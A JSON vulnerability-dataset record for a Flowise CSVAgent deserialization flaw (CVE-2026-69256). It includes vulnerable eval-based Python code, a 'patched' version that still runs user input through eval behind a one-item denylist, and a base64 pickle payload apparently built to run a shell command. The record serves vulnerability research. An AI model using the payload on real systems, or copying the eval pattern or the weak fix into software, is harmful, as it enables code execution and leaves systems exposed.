{"id":2204,"cve":"CVE-2026-69256","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-69256\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":9.4,"published":"2026-08-04","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Flowise CSVAgent insecure deserialization allows remote code execution.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-69256\/","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components\/nodes\/agents\/CSVAgent\/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger \/api\/v1\/prediction\/<UUID> to execute commands. This issue is fixed in version 3.1.3.","solution":"Upgrade Flowise to version 3.1.3 or later.","affected_component":"Flowise","fixed_by_upgrading":false,"vulnerable_code":"import pandas as pd\nimport io\n\ndef load_csv_agent_data(custom_read_func: str, data_path: str):\n    \"\"\"\n    Loads data for a CSV agent using a custom user-supplied pandas function.\n    This is a Python analogue for the vulnerable component in Flowise.\n    \"\"\"\n\n    # The execution context provides pandas as 'pd' and the io module.\n    execution_context = {\n        \"pd\": pd,\n        \"io\": io,\n        \"data_path\": data_path\n    }\n\n    # VULNERABLE: User input is formatted into a string and executed, allowing calls to dangerous functions like read_pickle.\n    df = eval(f\"pd.{custom_read_func}\", execution_context)\n\n    # ... further agent processing ...\n    return df\n","patched_code":"import pandas as pd\nimport io\n\ndef load_csv_agent_data(custom_read_func: str, data_path: str):\n    \"\"\"\n    Loads data for a CSV agent using a custom user-supplied pandas function.\n    This is a Python analogue for the vulnerable component in Flowise.\n    \"\"\"\n    denylist = [\n        'read_pickle'\n    ]\n    # FIX: The user-supplied function name is validated against a denylist before execution.\n    func_name = custom_read_func.split('(')[0].strip()\n    if func_name in denylist:\n        raise ValueError(f\"Disallowed function: {func_name}\")\n\n    # The execution context provides pandas as 'pd' and the io module.\n    execution_context = {\n        \"pd\": pd,\n        \"io\": io,\n        \"data_path\": data_path\n    }\n\n    df = eval(f\"pd.{custom_read_func}\", execution_context)\n\n    # ... further agent processing ...\n    return df\n","payload_needed":true,"payload":"```json\n{\n    \"filepath_or_buffer\": \"data:application\/octet-stream;base64,gASVIwAAAAAAAABKCF9fbWFpbl9flEMAUkNFLZSTlCkBhpRKBnBvc2l4lEAGc3lzdGVtlJOUlEhpZCA+IC90bXAvcHduZWSUhZRSlC4=\"\n}\n```","payload_status":"available","published_fix":[],"references":null}